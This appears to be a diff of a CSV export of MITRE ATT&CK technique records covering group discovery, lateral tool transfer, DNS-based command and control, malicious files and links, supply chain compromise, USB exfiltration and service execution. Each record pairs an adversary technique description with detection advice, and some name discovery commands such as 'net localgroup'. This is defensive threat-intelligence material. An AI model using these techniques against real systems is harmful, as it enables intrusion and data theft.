groups.",attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b,attack-pattern,['discovery'],2020-03-26T17:48:27.871Z,2020-03-12T19:29:21.013Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +Commands such as net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility, dscl . -list /Groups on macOS, and groups on Linux can list local groups.",['discovery'],https://attack.mitre.org/techniques/T1069/001,mitre-attack,T1069.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","['Process: Process Creation', 'Command: Command Execution']",,,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1570', 'url': 'https://attack.mitre.org/techniques/T1570'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]",1.0,False,https://attack.mitre.org/techniques/T1570,mitre-attack,T1570,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Lateral Tool Transfer,"Adversaries may transfer tools or other files between systems in a compromised environment. Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files laterally between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.",attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5,attack-pattern,['lateral-movement'],2020-03-23T22:10:10.862Z,2020-03-11T21:01:00.959Z,Monitor for file creation and files transferred within a network using protocols such as SMB. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Command: Command Execution', 'Process: Process Creation', 'File: File Creation', 'File: File Metadata']",,,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1568.003', 'url': 'https://attack.mitre.org/techniques/T1568/003'}, {'url': 'http://www.crowdstrike.com/blog/whois-numbered-panda/', 'description': 'Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.', 'source_name': 'Meyers Numbered Panda'}, {'url': 'https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html', 'description': 'Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin’s Favorite APT Group [Blog]. Retrieved November 12, 2014.', 'source_name': 'Moran 2014'}, {'source_name': 'Rapid7G20Espionage', 'description': 'Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.', 'url': 'https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,True,https://attack.mitre.org/techniques/T1568/003,mitre-attack,T1568.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,DNS Calculation,"Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda) +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",True,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1570', 'external_id': 'T1570'}]",1.1,attack-pattern,attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-11T21:01:00.959Z,2021-09-28T21:17:42.490Z,Lateral Tool Transfer,"Adversaries may transfer tools or other files between systems in a compromised environment. Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files laterally between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.",['lateral-movement'],https://attack.mitre.org/techniques/T1570,mitre-attack,T1570,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Share: Network Share Access', 'Named Pipe: Named Pipe Metadata', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Command: Command Execution', 'Process: Process Creation', 'File: File Creation', 'File: File Metadata']",,Monitor for file creation and files transferred within a network using protocols such as SMB. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.,False,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1568/003', 'external_id': 'T1568.003'}, {'source_name': 'Meyers Numbered Panda', 'description': 'Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.', 'url': 'http://www.crowdstrike.com/blog/whois-numbered-panda/'}, {'source_name': 'Moran 2014', 'description': 'Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin’s Favorite APT Group [Blog]. Retrieved November 12, 2014.', 'url': 'https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html'}, {'source_name': 'Rapid7G20Espionage', 'description': 'Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.', 'url': 'https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/'}]",1.0,attack-pattern,attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-11T14:56:34.154Z,2020-03-27T20:54:28.287Z,DNS Calculation,"Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda) -One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)",attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1,attack-pattern,['command-and-control'],2020-03-27T20:54:28.287Z,2020-03-11T14:56:34.154Z,Detection for this technique is difficult because it would require knowledge of the specific implementation of the port calculation algorithm. Detection may be possible by analyzing DNS records if the algorithm is known.,['Network Traffic: Network Traffic Content'],,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1204.002', 'url': 'https://attack.mitre.org/techniques/T1204/002'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.0,True,https://attack.mitre.org/techniques/T1204/002,mitre-attack,T1204.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Malicious File,"An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl. +One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)",['command-and-control'],https://attack.mitre.org/techniques/T1568/003,mitre-attack,T1568.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,Detection for this technique is difficult because it would require knowledge of the specific implementation of the port calculation algorithm. Detection may be possible by analyzing DNS records if the algorithm is known.,True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1204/002', 'external_id': 'T1204.002'}]",1.1,attack-pattern,attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-11T14:49:36.954Z,2021-07-21T23:10:47.193Z,Malicious File,"An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl. Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) on the file to increase the likelihood that a user will open it. -While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).",attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e,attack-pattern,['execution'],2020-03-11T14:55:56.177Z,2020-03-11T14:49:36.954Z,"Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads. +While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).",['execution'],https://attack.mitre.org/techniques/T1204/002,mitre-attack,T1204.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'File: File Creation']",,"Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads. -Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).","['Process: Process Creation', 'File: File Creation']",,,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1204.001', 'url': 'https://attack.mitre.org/techniques/T1204/001'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.0,True,https://attack.mitre.org/techniques/T1204/001,mitre-attack,T1204.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Malicious Link,An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).,attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9,attack-pattern,['execution'],2020-03-11T14:43:31.706Z,2020-03-11T14:43:31.706Z,"Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization. +Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).",True,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1204/001', 'external_id': 'T1204.001'}]",1.0,attack-pattern,attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-11T14:43:31.706Z,2020-03-11T14:43:31.706Z,Malicious Link,An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).,['execution'],https://attack.mitre.org/techniques/T1204/001,mitre-attack,T1204.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'File: File Creation']",,"Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization. -Anti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer.","['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'File: File Creation']",,,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1195.003', 'url': 'https://attack.mitre.org/techniques/T1195/003'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]",1.0,True,https://attack.mitre.org/techniques/T1195/003,mitre-attack,T1195.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Compromise Hardware Supply Chain,"Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.",attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef,attack-pattern,['initial-access'],2020-03-23T12:51:45.475Z,2020-03-11T14:28:40.064Z,Perform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes.,,,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1195.002', 'url': 'https://attack.mitre.org/techniques/T1195/002'}, {'url': 'https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities', 'description': 'Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.', 'source_name': 'Avast CCleaner3 2018'}, {'url': 'https://www.commandfive.com/papers/C5_APT_SKHack.pdf', 'description': 'Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018.', 'source_name': 'Command Five SK 2011'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]",1.0,True,https://attack.mitre.org/techniques/T1195/002,mitre-attack,T1195.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Compromise Software Supply Chain,"Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version. +Anti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer.",True,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1195/003', 'external_id': 'T1195.003'}]",1.0,attack-pattern,attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-11T14:28:40.064Z,2020-03-23T12:51:45.475Z,Compromise Hardware Supply Chain,"Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.",['initial-access'],https://attack.mitre.org/techniques/T1195/003,mitre-attack,T1195.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,Perform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes.,True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1195/002', 'external_id': 'T1195.002'}, {'source_name': 'Avast CCleaner3 2018', 'description': 'Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.', 'url': 'https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities'}, {'source_name': 'Command Five SK 2011', 'description': 'Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018.', 'url': 'https://www.commandfive.com/papers/C5_APT_SKHack.pdf'}]",1.0,attack-pattern,attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-11T14:17:21.153Z,2020-03-11T14:17:21.153Z,Compromise Software Supply Chain,"Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version. -Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) ",attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00,attack-pattern,['initial-access'],2020-03-11T14:17:21.153Z,2020-03-11T14:17:21.153Z,Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ,,,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1195.001', 'url': 'https://attack.mitre.org/techniques/T1195/001'}, {'source_name': 'Trendmicro NPM Compromise', 'url': 'https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets', 'description': 'Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]",1.0,True,https://attack.mitre.org/techniques/T1195/001,mitre-attack,T1195.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Compromise Software Dependencies and Development Tools,"Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise) +Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) ",['initial-access'],https://attack.mitre.org/techniques/T1195/002,mitre-attack,T1195.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ,True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1195/001', 'external_id': 'T1195.001'}, {'source_name': 'Trendmicro NPM Compromise', 'description': 'Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.', 'url': 'https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets'}]",1.0,attack-pattern,attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-11T14:13:42.916Z,2020-03-11T14:13:42.916Z,Compromise Software Dependencies and Development Tools,"Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise) -Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. ",attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720,attack-pattern,['initial-access'],2020-03-11T14:13:42.916Z,2020-03-11T14:13:42.916Z,Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ,,,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1568.001', 'url': 'https://attack.mitre.org/techniques/T1568/001'}, {'url': 'https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref', 'description': 'Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.', 'source_name': 'MehtaFastFluxPt1'}, {'source_name': 'MehtaFastFluxPt2', 'description': 'Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.', 'url': 'https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref'}, {'source_name': 'Fast Flux - Welivesecurity', 'url': 'https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/', 'description': 'Albors, Josep. (2017, January 12). Fast Flux networks: What are they and how do they work?. Retrieved March 11, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,True,https://attack.mitre.org/techniques/T1568/001,mitre-attack,T1568.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Fast Flux DNS,"Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity) +Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. ",['initial-access'],https://attack.mitre.org/techniques/T1195/001,mitre-attack,T1195.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ,True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1568/001', 'external_id': 'T1568.001'}, {'source_name': 'MehtaFastFluxPt1', 'description': 'Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.', 'url': 'https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref'}, {'source_name': 'MehtaFastFluxPt2', 'description': 'Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.', 'url': 'https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref'}, {'source_name': 'Fast Flux - Welivesecurity', 'description': 'Albors, Josep. (2017, January 12). Fast Flux networks: What are they and how do they work?. Retrieved March 11, 2020.', 'url': 'https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/'}]",1.0,attack-pattern,attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-11T14:11:16.560Z,2020-03-27T16:10:37.183Z,Fast Flux DNS,"Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity) The simplest, ""single-flux"" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity) -In contrast, the ""double-flux"" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.",attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6,attack-pattern,['command-and-control'],2020-03-27T16:10:37.183Z,2020-03-11T14:11:16.560Z,"In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as domain registrars and service providers are likely in the best position for detection.","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']",,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1052.001', 'url': 'https://attack.mitre.org/techniques/T1052/001'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]",1.0,True,https://attack.mitre.org/techniques/T1052/001,mitre-attack,T1052.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exfiltration over USB,"Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.",attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829,attack-pattern,['exfiltration'],2020-03-28T00:31:02.204Z,2020-03-11T13:50:11.467Z,Monitor file access on removable media. Detect processes that execute when removable media are mounted.,"['Process: Process Creation', 'File: File Access', 'Drive: Drive Creation', 'Command: Command Execution']",,,,"['Linux', 'macOS', 'Windows']",,,,['Presence of physical medium or device'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1569.002', 'url': 'https://attack.mitre.org/techniques/T1569/002'}, {'source_name': 'Microsoft Service Control Manager', 'url': 'https://docs.microsoft.com/windows/win32/services/service-control-manager', 'description': 'Microsoft. (2018, May 31). Service Control Manager. Retrieved March 28, 2020.'}, {'url': 'https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx', 'description': 'Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.', 'source_name': 'Russinovich Sysinternals'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.0,True,https://attack.mitre.org/techniques/T1569/002,mitre-attack,T1569.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Service Execution,"Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039). +In contrast, the ""double-flux"" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 